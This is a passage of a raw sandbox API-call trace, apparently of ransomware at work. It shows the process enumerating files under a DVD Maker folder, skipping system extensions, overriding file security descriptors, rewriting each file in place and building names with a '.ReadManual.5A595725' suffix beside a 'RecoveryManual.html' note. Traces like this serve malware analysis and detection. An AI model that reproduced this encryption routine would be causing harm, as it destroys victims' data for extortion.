GetLastError () returned 0x5 [0253.554] GetNamedSecurityInfoW () returned 0x0 [0253.555] SetNamedSecurityInfoW () returned 0x0 [0253.555] SetNamedSecurityInfoW () returned 0x0 [0253.556] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.556] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=789322) returned 1 [0253.556] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc0b4a, lpName=0x0) returned 0x1a0 [0253.556] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc4) returned 1 [0253.556] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.556] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.558] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.558] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc0b4a) returned 0x2690000 [0253.612] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.613] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37428190820) returned 1 [0253.613] CloseHandle (hObject=0x1a0) returned 1 [0253.613] SetSecurityInfo () returned 0x5 [0253.613] SetSecurityInfo () returned 0x5 [0253.613] LocalFree (hMem=0x674d38) returned 0x0 [0253.613] CloseHandle (hObject=0x184) returned 1 [0253.614] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0253.614] lstrcpyW (in: lpString1=0x6ab906, lpString2="Notes_LOOP_BG_PAL.wmv" | out: lpString1="Notes_LOOP_BG_PAL.wmv") returned="Notes_LOOP_BG_PAL.wmv" [0253.614] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0253.614] StrStrIW (lpFirst="Notes_LOOP_BG_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.614] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0253.614] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0253.614] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" [0253.614] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.ReadManual.5A595725" [0253.614] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv.ReadManual.5A595725") returned 94 [0253.614] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37428298581) returned 1 [0253.614] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv")) returned 0x20 [0253.615] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.615] GetLastError () returned 0x5 [0253.615] GetNamedSecurityInfoW () returned 0x0 [0253.615] SetNamedSecurityInfoW () returned 0x0 [0253.616] SetNamedSecurityInfoW () returned 0x0 [0253.616] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.616] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=869322) returned 1 [0253.616] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd43ca, lpName=0x0) returned 0x1a0 [0253.617] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xcc) returned 1 [0253.617] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.617] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.619] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.619] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd43ca) returned 0x2690000 [0253.643] UnmapViewOfFile (lpBaseAddress=0x2690000) returned 1 [0253.644] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37431316632) returned 1 [0253.644] CloseHandle (hObject=0x1a0) returned 1 [0253.644] SetSecurityInfo () returned 0x5 [0253.645] SetSecurityInfo () returned 0x5 [0253.645] LocalFree (hMem=0x674d38) returned 0x0 [0253.645] CloseHandle (hObject=0x184) returned 1 [0253.655] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7240848c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7240848c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-back-over-select.png", cAlternateFileName="")) returned 1 [0253.655] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-back-over-select.png" | out: lpString1="Pets_btn-back-over-select.png") returned="Pets_btn-back-over-select.png" [0253.655] lstrcmpiW (lpString1="Pets_btn-back-over-select.png", lpString2="RecoveryManual.html") returned -1 [0253.655] StrStrIW (lpFirst="Pets_btn-back-over-select.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.655] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.655] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.655] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.656] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.656] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.656] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.656] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.656] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.656] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" [0253.656] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.ReadManual.5A595725" [0253.656] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png.ReadManual.5A595725") returned 102 [0253.656] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37432452196) returned 1 [0253.656] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png")) returned 0x20 [0253.657] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.657] GetLastError () returned 0x5 [0253.657] GetNamedSecurityInfoW () returned 0x0 [0253.657] SetNamedSecurityInfoW () returned 0x0 [0253.657] SetNamedSecurityInfoW () returned 0x0 [0253.658] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-over-select.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.658] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3016) returned 1 [0253.658] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc8, lpName=0x0) returned 0x1a0 [0253.658] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0253.659] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.659] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.660] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.661] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc8) returned 0x2f0000 [0253.661] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.661] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37432961912) returned 1 [0253.661] CloseHandle (hObject=0x1a0) returned 1 [0253.661] SetSecurityInfo () returned 0x5 [0253.661] SetSecurityInfo () returned 0x5 [0253.661] LocalFree (hMem=0x674d38) returned 0x0 [0253.661] CloseHandle (hObject=0x184) returned 1 [0253.662] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7242e5e9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7242e5e9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e66a45b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x739, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-back-static.png", cAlternateFileName="")) returned 1 [0253.662] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-back-static.png" | out: lpString1="Pets_btn-back-static.png") returned="Pets_btn-back-static.png" [0253.662] lstrcmpiW (lpString1="Pets_btn-back-static.png", lpString2="RecoveryManual.html") returned -1 [0253.662] StrStrIW (lpFirst="Pets_btn-back-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.662] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.662] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.662] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.662] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.662] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.662] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.662] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" [0253.662] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.ReadManual.5A595725" [0253.662] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png.ReadManual.5A595725") returned 97 [0253.662] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37433123446) returned 1 [0253.663] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png")) returned 0x20 [0253.663] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.663] GetLastError () returned 0x5 [0253.663] GetNamedSecurityInfoW () returned 0x0 [0253.663] SetNamedSecurityInfoW () returned 0x0 [0253.663] SetNamedSecurityInfoW () returned 0x0 [0253.664] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-back-static.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-back-static.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.664] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=1849) returned 1 [0253.664] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x739, lpName=0x0) returned 0x1a0 [0253.664] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd2) returned 1 [0253.665] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.665] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.666] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.667] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x739) returned 0x2f0000 [0253.667] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.667] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37433544483) returned 1 [0253.667] CloseHandle (hObject=0x1a0) returned 1 [0253.667] SetSecurityInfo () returned 0x5 [0253.667] SetSecurityInfo () returned 0x5 [0253.667] LocalFree (hMem=0x674d38) returned 0x0 [0253.667] CloseHandle (hObject=0x184) returned 1 [0253.667] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72454746, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72454746, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbc8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-next-over-select.png", cAlternateFileName="")) returned 1 [0253.667] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-next-over-select.png" | out: lpString1="Pets_btn-next-over-select.png") returned="Pets_btn-next-over-select.png" [0253.667] lstrcmpiW (lpString1="Pets_btn-next-over-select.png", lpString2="RecoveryManual.html") returned -1 [0253.667] StrStrIW (lpFirst="Pets_btn-next-over-select.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.667] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="sys") returned -1 [0253.667] StrCmpIW (psz1="png", psz2="msi") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="mui") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="inf") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="cat") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="bat") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0253.667] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0253.667] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0253.667] StrCmpIW (psz1="png", psz2="fon") returned 1 [0253.667] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0253.668] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" [0253.668] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.ReadManual.5A595725" [0253.668] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png.ReadManual.5A595725") returned 102 [0253.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37433639368) returned 1 [0253.668] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png")) returned 0x20 [0253.668] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.668] GetLastError () returned 0x5 [0253.668] GetNamedSecurityInfoW () returned 0x0 [0253.668] SetNamedSecurityInfoW () returned 0x0 [0253.668] SetNamedSecurityInfoW () returned 0x0 [0253.669] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Pets_btn-next-over-select.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\pets_btn-next-over-select.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0253.669] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3016) returned 1 [0253.669] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc8, lpName=0x0) returned 0x1a0 [0253.669] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xdc) returned 1 [0253.670] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0253.670] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0253.671] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0253.672] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc8) returned 0x2f0000 [0253.672] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0253.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37434049094) returned 1 [0253.672] CloseHandle (hObject=0x1a0) returned 1 [0253.672] SetSecurityInfo () returned 0x5 [0253.672] SetSecurityInfo () returned 0x5 [0253.672] LocalFree (hMem=0x674d38) returned 0x0 [0253.672] CloseHandle (hObject=0x184) returned 1 [0253.672] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7247a8a3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7247a8a3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e6905b9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x7f9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Pets_btn-next-static.png", cAlternateFileName="")) returned 1 [0253.672] lstrcpyW (in: lpString1=0x6ab906, lpString2="Pets_btn-next-static.png" | out: lpString1="Pets_btn-next-static.png") returned="Pets_btn-next-static.png" [0253.672] lstrcmpiW (lpString1="Pets_btn-next-static.png", lpString2="RecoveryManual.html") returned -1 [0253.672] StrStrIW (lpFirst="Pets_btn-next-static.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0253.672] StrCmpIW (psz1="png", psz2="exe") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="dll") returned 1 [0253.672] StrCmpIW (psz1="png", psz2="sys") returned 